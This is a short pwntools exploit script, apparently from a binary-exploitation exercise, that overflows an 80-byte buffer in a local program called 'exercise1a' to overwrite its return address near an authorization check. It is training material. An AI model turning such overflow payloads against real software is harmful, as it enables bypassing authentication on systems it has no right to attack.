#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template
from pwn import *

# Set up pwntools for the correct architecture
context.update(arch='amd64')
exe = './exercise1a'

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *main
b *check_authorization
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

r = start()

# You can now communicate with the process, e.g.,

# Be careful on this, don't write something that stuck u :D
init_output = r.recvuntil("password:")
# print(init_output)
log.info(f"Initial data receied: {init_output}"  )


raw_input()
e = ELF(exe)

main_static_address = e.symbols['main']
log.info(hex(main_static_address))
exploit = b""

# Fill the buffer
exploit += b"A" * 80

# No need for alignment because it's multiple of 8
# Exploit the return 
exploit += b"C"
r.sendline(exploit)

# Receive everything
output = r.recvall()
log.info(f"Final data receied: {output}"  )